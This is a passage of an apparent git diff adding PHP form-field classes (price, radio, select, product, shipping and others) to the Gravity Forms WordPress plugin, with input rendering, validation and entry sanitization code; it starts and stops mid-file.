<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
|
||||
</div>";
|
||||
|
||||
}
|
||||
|
||||
public function allow_html() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitizes the field value before saving to the entry.
|
||||
*
|
||||
* @since 2.2.6.4 Switched to wp_strip_all_tags.
|
||||
* @see https://developer.wordpress.org/reference/functions/wp_insert_post/#security
|
||||
*
|
||||
* @param string $value The field value to be processed.
|
||||
* @param int $form_id The ID of the form currently being processed.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function sanitize_entry_value( $value, $form_id ) {
|
||||
return wp_strip_all_tags( $value );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Post_Title() );
|
||||
75
includes/fields/class-gf-field-price.php
Normal file
75
includes/fields/class-gf-field-price.php
Normal file
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Price extends GF_Field {
|
||||
|
||||
public $type = 'price';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'rules_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'placeholder_setting',
|
||||
'size_setting',
|
||||
'duplicate_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_button() {
|
||||
return array();
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
$price = GFCommon::to_number( $value );
|
||||
if ( ! rgblank( $value ) && ( $price === false || $price < 0 ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? __( 'Please enter a valid amount.', 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$value = esc_attr( $value );
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$class = esc_attr( $class );
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
return "<div class='ginput_container ginput_container_product_price'>
|
||||
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class} ginput_amount' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
|
||||
</div>";
|
||||
|
||||
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
return GFCommon::to_money( $value, $currency );
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Price() );
|
||||
33
includes/fields/class-gf-field-product.php
Normal file
33
includes/fields/class-gf-field-product.php
Normal file
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Product extends GF_Field {
|
||||
|
||||
public $type = 'product';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Product', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'product_field_type_setting',
|
||||
'prepopulate_field_setting',
|
||||
'label_setting',
|
||||
'admin_label_setting',
|
||||
'label_placement_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Product() );
|
||||
34
includes/fields/class-gf-field-quantity.php
Normal file
34
includes/fields/class-gf-field-quantity.php
Normal file
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Quantity extends GF_Field {
|
||||
|
||||
public $type = 'quantity';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'product_field_setting',
|
||||
'quantity_field_type_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'label_setting',
|
||||
'admin_label_setting',
|
||||
'label_placement_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Quantity', 'gravityforms' );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Quantity() );
|
||||
299
includes/fields/class-gf-field-radio.php
Normal file
299
includes/fields/class-gf-field-radio.php
Normal file
@@ -0,0 +1,299 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Radio extends GF_Field {
|
||||
|
||||
public $type = 'radio';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Radio Buttons', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'choices_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'other_choice_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
if ( $this->isRequired && $this->enableOtherChoice && rgpost( "input_{$this->id}" ) == 'gf_other_choice' ) {
|
||||
if ( empty( $value ) || strtolower( $value ) == strtolower( GFCommon::get_other_choice_value( $this ) ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function get_first_input_id( $form ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
return sprintf( "<div class='ginput_container ginput_container_radio'><ul class='gfield_radio' id='%s'>%s</ul></div>", $field_id, $this->get_radio_choices( $value, $disabled_text, $form_id ) );
|
||||
|
||||
}
|
||||
|
||||
public function get_radio_choices( $value = '', $disabled_text, $form_id = 0 ) {
|
||||
$choices = '';
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
$is_admin = $is_entry_detail || $is_form_editor;
|
||||
|
||||
if ( is_array( $this->choices ) ) {
|
||||
$choice_id = 0;
|
||||
|
||||
$other_default_value = '';
|
||||
|
||||
// add 'other' choice to choices if enabled
|
||||
if ( $this->enableOtherChoice ) {
|
||||
$other_default_value = GFCommon::get_other_choice_value( $this );
|
||||
$this->choices[] = array( 'text' => $other_default_value, 'value' => 'gf_other_choice', 'isSelected' => false, 'isOtherChoice' => true );
|
||||
}
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'click' );
|
||||
$count = 1;
|
||||
|
||||
foreach ( $this->choices as $choice ) {
|
||||
|
||||
if ( $is_entry_detail || $is_form_editor || $form_id == 0 ) {
|
||||
$id = $this->id . '_' . $choice_id ++;
|
||||
} else {
|
||||
$id = $form_id . '_' . $this->id . '_' . $choice_id ++;
|
||||
}
|
||||
|
||||
$field_value = ! empty( $choice['value'] ) || $this->enableChoiceValue ? $choice['value'] : $choice['text'];
|
||||
|
||||
if ( $this->enablePrice ) {
|
||||
$price = rgempty( 'price', $choice ) ? 0 : GFCommon::to_number( rgar( $choice, 'price' ) );
|
||||
$field_value .= '|' . $price;
|
||||
}
|
||||
|
||||
if ( rgblank( $value ) && rgget('view') != 'entry' ) {
|
||||
$checked = rgar( $choice, 'isSelected' ) ? "checked='checked'" : '';
|
||||
} else {
|
||||
$checked = RGFormsModel::choice_value_match( $this, $choice, $value ) ? "checked='checked'" : '';
|
||||
}
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
$label = sprintf( "<label for='choice_%s' id='label_%s'>%s</label>", $id, $id, $choice['text'] );
|
||||
$input_focus = '';
|
||||
|
||||
// handle 'other' choice
|
||||
if ( rgar( $choice, 'isOtherChoice' ) ) {
|
||||
|
||||
$onfocus = ! $is_admin ? 'jQuery(this).prev("input")[0].click(); if(jQuery(this).val() == "' . $other_default_value . '") { jQuery(this).val(""); }' : '';
|
||||
$onblur = ! $is_admin ? 'if(jQuery(this).val().replace(" ", "") == "") { jQuery(this).val("' . $other_default_value . '"); }' : '';
|
||||
$onkeyup = $this->get_conditional_logic_event( 'keyup' );
|
||||
|
||||
$input_focus = ! $is_admin ? "onfocus=\"jQuery(this).next('input').focus();\"" : '';
|
||||
$value_exists = RGFormsModel::choices_value_match( $this, $this->choices, $value );
|
||||
|
||||
if ( $value == 'gf_other_choice' && rgpost( "input_{$this->id}_other" ) ) {
|
||||
$other_value = rgpost( "input_{$this->id}_other" );
|
||||
} elseif ( ! $value_exists && ! empty( $value ) ) {
|
||||
$other_value = $value;
|
||||
$value = 'gf_other_choice';
|
||||
$checked = "checked='checked'";
|
||||
} else {
|
||||
$other_value = $other_default_value;
|
||||
}
|
||||
|
||||
$label = "<input id='input_{$this->formId}_{$this->id}_other' name='input_{$this->id}_other' type='text' value='" . esc_attr( $other_value ) . "' aria-label='" . esc_attr__( 'Other', 'gravityforms' ) . "' onfocus='$onfocus' onblur='$onblur' $tabindex $onkeyup $disabled_text />";
|
||||
}
|
||||
|
||||
$choice_markup = sprintf( "<li class='gchoice_$id'><input name='input_%d' type='radio' value='%s' %s id='choice_%s' $tabindex %s $logic_event %s />%s</li>", $this->id, esc_attr( $field_value ), $checked, $id, $disabled_text, $input_focus, $label );
|
||||
|
||||
$choices .= gf_apply_filters( array(
|
||||
'gform_field_choice_markup_pre_render',
|
||||
$this->formId,
|
||||
$this->id
|
||||
), $choice_markup, $choice, $this, $value );
|
||||
|
||||
if ( $is_form_editor && $count >= 5 ) {
|
||||
break;
|
||||
}
|
||||
|
||||
$count ++;
|
||||
}
|
||||
|
||||
$total = sizeof( $this->choices );
|
||||
if ( $count < $total ) {
|
||||
$choices .= "<li class='gchoice_total'>" . sprintf( esc_html__( '%d of %d items shown. Edit field to view all', 'gravityforms' ), $count, $total ) . '</li>';
|
||||
}
|
||||
}
|
||||
|
||||
return gf_apply_filters( array( 'gform_field_choices', $this->formId ), $choices, $this );
|
||||
}
|
||||
|
||||
public function get_value_default() {
|
||||
return $this->is_form_editor() ? $this->defaultValue : GFCommon::replace_variables_prepopulate( $this->defaultValue );
|
||||
}
|
||||
|
||||
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
|
||||
|
||||
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
|
||||
if ( $value == 'gf_other_choice' ) {
|
||||
//get value from text box
|
||||
$value = $this->get_input_value_submission( 'input_' . $this->id . '_other', $this->inputName, $field_values, $get_from_post_global_var );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
return GFCommon::selection_display( $value, $this, $entry['currency'] );
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
|
||||
return GFCommon::selection_display( $value, $this, $currency, $use_text );
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::to_money()
|
||||
* @uses GFCommon::format_post_category()
|
||||
* @uses GFFormsModel::is_field_hidden()
|
||||
* @uses GFFormsModel::get_choice_text()
|
||||
* @uses GFCommon::format_variable_value()
|
||||
* @uses GFCommon::implode_non_blank()
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
$use_value = $modifier == 'value';
|
||||
$use_price = in_array( $modifier, array( 'price', 'currency' ) );
|
||||
$format_currency = $modifier == 'currency';
|
||||
|
||||
if ( is_array( $raw_value ) && (string) intval( $input_id ) != $input_id ) {
|
||||
$items = array( $input_id => $value ); // Float input Ids. (i.e. 4.1 ). Used when targeting specific checkbox items.
|
||||
} elseif ( is_array( $raw_value ) ) {
|
||||
$items = $raw_value;
|
||||
} else {
|
||||
$items = array( $input_id => $raw_value );
|
||||
}
|
||||
|
||||
$ary = array();
|
||||
|
||||
foreach ( $items as $input_id => $item ) {
|
||||
if ( $use_value ) {
|
||||
list( $val, $price ) = rgexplode( '|', $item, 2 );
|
||||
} elseif ( $use_price ) {
|
||||
list( $name, $val ) = rgexplode( '|', $item, 2 );
|
||||
if ( $format_currency ) {
|
||||
$val = GFCommon::to_money( $val, rgar( $entry, 'currency' ) );
|
||||
}
|
||||
} elseif ( $this->type == 'post_category' ) {
|
||||
$use_id = strtolower( $modifier ) == 'id';
|
||||
$item_value = GFCommon::format_post_category( $item, $use_id );
|
||||
|
||||
$val = RGFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : $item_value;
|
||||
} else {
|
||||
$val = RGFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : RGFormsModel::get_choice_text( $this, $raw_value, $input_id );
|
||||
}
|
||||
|
||||
$ary[] = GFCommon::format_variable_value( $val, $url_encode, $esc_html, $format );
|
||||
}
|
||||
|
||||
return GFCommon::implode_non_blank( ', ', $ary );
|
||||
}
|
||||
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
|
||||
if ( $this->enableOtherChoice && $value == 'gf_other_choice' ) {
|
||||
$value = rgpost( "input_{$this->id}_other" );
|
||||
}
|
||||
|
||||
$value = $this->sanitize_entry_value( $value, $form['id'] );
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function allow_html() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
|
||||
if ( empty( $input_id ) ) {
|
||||
$input_id = $this->id;
|
||||
}
|
||||
|
||||
$value = rgar( $entry, $input_id );
|
||||
|
||||
return $is_csv ? $value : GFCommon::selection_display( $value, $this, rgar( $entry, 'currency' ), $use_text );
|
||||
}
|
||||
|
||||
/**
|
||||
* Strip scripts and some HTML tags.
|
||||
*
|
||||
* @param string $value The field value to be processed.
|
||||
* @param int $form_id The ID of the form currently being processed.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function sanitize_entry_value( $value, $form_id ) {
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$allowable_tags = $this->get_allowable_tags( $form_id );
|
||||
|
||||
if ( $allowable_tags !== true ) {
|
||||
$value = strip_tags( $value, $allowable_tags );
|
||||
}
|
||||
|
||||
$allowed_protocols = wp_allowed_protocols();
|
||||
$value = wp_kses_no_null( $value, array( 'slash_zero' => 'keep' ) );
|
||||
$value = wp_kses_hook( $value, 'post', $allowed_protocols );
|
||||
$value = wp_kses_split( $value, 'post', $allowed_protocols );
|
||||
|
||||
return $value;
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Radio() );
|
||||
39
includes/fields/class-gf-field-section.php
Normal file
39
includes/fields/class-gf-field-section.php
Normal file
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GF_Field_Section extends GF_Field {
|
||||
|
||||
public $type = 'section';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Section', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'label_setting',
|
||||
'description_setting',
|
||||
'visibility_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_field_content( $value, $force_frontend_label, $form ) {
|
||||
|
||||
$field_label = $this->get_field_label( $force_frontend_label, $value );
|
||||
|
||||
$admin_buttons = $this->get_admin_buttons();
|
||||
|
||||
$description = $this->get_description( $this->description, 'gsection_description' );
|
||||
$field_content = sprintf( "%s<h2 class='gsection_title'>%s</h2>%s", $admin_buttons, esc_html( $field_label ), $description );
|
||||
|
||||
return $field_content;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Section() );
|
||||
167
includes/fields/class-gf-field-select.php
Normal file
167
includes/fields/class-gf-field-select.php
Normal file
@@ -0,0 +1,167 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Select extends GF_Field {
|
||||
|
||||
public $type = 'select';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Drop Down', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'enable_enhanced_ui_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'choices_setting',
|
||||
'rules_setting',
|
||||
'placeholder_setting',
|
||||
'default_value_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'change' );
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$css_class = trim( esc_attr( $class ) . ' gfield_select' );
|
||||
$tabindex = $this->get_tabindex();
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
return sprintf( "<div class='ginput_container ginput_container_select'><select name='input_%d' id='%s' $logic_event class='%s' $tabindex %s %s %s>%s</select></div>", $id, $field_id, $css_class, $disabled_text, $required_attribute, $invalid_attribute, $this->get_choices( $value ) );
|
||||
}
|
||||
|
||||
public function get_choices( $value ) {
|
||||
return GFCommon::get_select_choices( $this, $value );
|
||||
}
|
||||
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
$return = esc_html( $value );
|
||||
return GFCommon::selection_display( $return, $this, $entry['currency'] );
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::to_money()
|
||||
* @uses GFCommon::format_post_category()
|
||||
* @uses GFFormsModel::is_field_hidden()
|
||||
* @uses GFFormsModel::get_choice_text()
|
||||
* @uses GFCommon::format_variable_value()
|
||||
* @uses GFCommon::implode_non_blank()
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
$use_value = $modifier == 'value';
|
||||
$use_price = in_array( $modifier, array( 'price', 'currency' ) );
|
||||
$format_currency = $modifier == 'currency';
|
||||
|
||||
if ( is_array( $raw_value ) && (string) intval( $input_id ) != $input_id ) {
|
||||
$items = array( $input_id => $value ); // Float input Ids. (i.e. 4.1 ). Used when targeting specific checkbox items.
|
||||
} elseif ( is_array( $raw_value ) ) {
|
||||
$items = $raw_value;
|
||||
} else {
|
||||
$items = array( $input_id => $raw_value );
|
||||
}
|
||||
|
||||
$ary = array();
|
||||
|
||||
foreach ( $items as $input_id => $item ) {
|
||||
if ( $use_value ) {
|
||||
list( $val, $price ) = rgexplode( '|', $item, 2 );
|
||||
} elseif ( $use_price ) {
|
||||
list( $name, $val ) = rgexplode( '|', $item, 2 );
|
||||
if ( $format_currency ) {
|
||||
$val = GFCommon::to_money( $val, rgar( $entry, 'currency' ) );
|
||||
}
|
||||
} elseif ( $this->type == 'post_category' ) {
|
||||
$use_id = strtolower( $modifier ) == 'id';
|
||||
$item_value = GFCommon::format_post_category( $item, $use_id );
|
||||
|
||||
$val = RGFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : $item_value;
|
||||
} else {
|
||||
$val = RGFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : RGFormsModel::get_choice_text( $this, $raw_value, $input_id );
|
||||
}
|
||||
|
||||
$ary[] = GFCommon::format_variable_value( $val, $url_encode, $esc_html, $format );
|
||||
}
|
||||
|
||||
return GFCommon::implode_non_blank( ', ', $ary );
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
$return = esc_html( $value );
|
||||
return GFCommon::selection_display( $return, $this, $currency, $use_text );
|
||||
}
|
||||
|
||||
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
|
||||
if ( empty( $input_id ) ) {
|
||||
$input_id = $this->id;
|
||||
}
|
||||
|
||||
$value = rgar( $entry, $input_id );
|
||||
|
||||
return $is_csv ? $value : GFCommon::selection_display( $value, $this, rgar( $entry, 'currency' ), $use_text );
|
||||
}
|
||||
|
||||
/**
|
||||
* Strips all tags from the input value.
|
||||
*
|
||||
* @param string $value The field value to be processed.
|
||||
* @param int $form_id The ID of the form currently being processed.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function sanitize_entry_value( $value, $form_id ) {
|
||||
|
||||
$value = wp_strip_all_tags( $value );
|
||||
|
||||
return $value;
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Select() );
|
||||
31
includes/fields/class-gf-field-shipping.php
Normal file
31
includes/fields/class-gf-field-shipping.php
Normal file
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Shipping extends GF_Field {
|
||||
|
||||
public $type = 'shipping';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'shipping_field_type_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'label_setting',
|
||||
'admin_label_setting',
|
||||
'label_placement_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Shipping', 'gravityforms' );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Shipping() );
|
||||
122
includes/fields/class-gf-field-singleproduct.php
Normal file
122
includes/fields/class-gf-field-singleproduct.php
Normal file
@@ -0,0 +1,122 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_SingleProduct extends GF_Field {
|
||||
|
||||
public $type = 'singleproduct';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'base_price_setting',
|
||||
'disable_quantity_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'rules_setting',
|
||||
'duplicate_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_button() {
|
||||
return array();
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
$quantity_id = $this->id . '.3';
|
||||
$quantity = rgget( $quantity_id, $value );
|
||||
|
||||
if ( $this->isRequired && rgblank( $quantity ) && ! $this->disableQuantity ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty($this->errorMessage) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
|
||||
} elseif ( ! empty( $quantity ) && ( ! is_numeric( $quantity ) || intval( $quantity ) != floatval( $quantity ) || intval( $quantity ) < 0 ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = esc_html__( 'Please enter a valid quantity', 'gravityforms' );
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$product_name = ! is_array( $value ) || empty( $value[ $this->id . '.1' ] ) ? esc_attr( $this->label ) : esc_attr( $value[ $this->id . '.1' ] );
|
||||
$price = ! is_array( $value ) || empty( $value[ $this->id . '.2' ] ) ? $this->basePrice : esc_attr( $value[ $this->id . '.2' ] );
|
||||
$quantity = is_array( $value ) ? esc_attr( $value[ $this->id . '.3' ] ) : '';
|
||||
|
||||
if ( empty( $price ) ) {
|
||||
$price = 0;
|
||||
}
|
||||
|
||||
$has_quantity = sizeof( GFCommon::get_product_fields_by_type( $form, array( 'quantity' ), $this->id ) ) > 0;
|
||||
if ( $has_quantity ) {
|
||||
$this->disableQuantity = true;
|
||||
}
|
||||
|
||||
$currency = $is_entry_detail && ! empty( $entry ) ? $entry['currency'] : '';
|
||||
|
||||
$quantity_field = '';
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$qty_input_type = GFFormsModel::is_html5_enabled() ? 'number' : 'text';
|
||||
|
||||
$qty_min_attr = GFFormsModel::is_html5_enabled() ? "min='0'" : '';
|
||||
|
||||
$product_quantity_sub_label = gf_apply_filters( array( 'gform_product_quantity', $form_id, $this->id ), esc_html__( 'Quantity:', 'gravityforms' ), $form_id );
|
||||
|
||||
if ( $is_entry_detail || $is_form_editor ) {
|
||||
$style = $this->disableQuantity ? "style='display:none;'" : '';
|
||||
$quantity_field = " <span class='ginput_quantity_label' {$style}>{$product_quantity_sub_label}</span> <input type='{$qty_input_type}' name='input_{$id}.3' value='{$quantity}' id='ginput_quantity_{$form_id}_{$this->id}' class='ginput_quantity' size='10' {$disabled_text} {$style} />";
|
||||
} else if ( ! $this->disableQuantity ) {
|
||||
$tabindex = $this->get_tabindex();
|
||||
$quantity_field .= " <span class='ginput_quantity_label'>" . $product_quantity_sub_label . "</span> <input type='{$qty_input_type}' name='input_{$id}.3' value='{$quantity}' id='ginput_quantity_{$form_id}_{$this->id}' class='ginput_quantity' size='10' {$qty_min_attr} {$tabindex} {$disabled_text}/>";
|
||||
} else {
|
||||
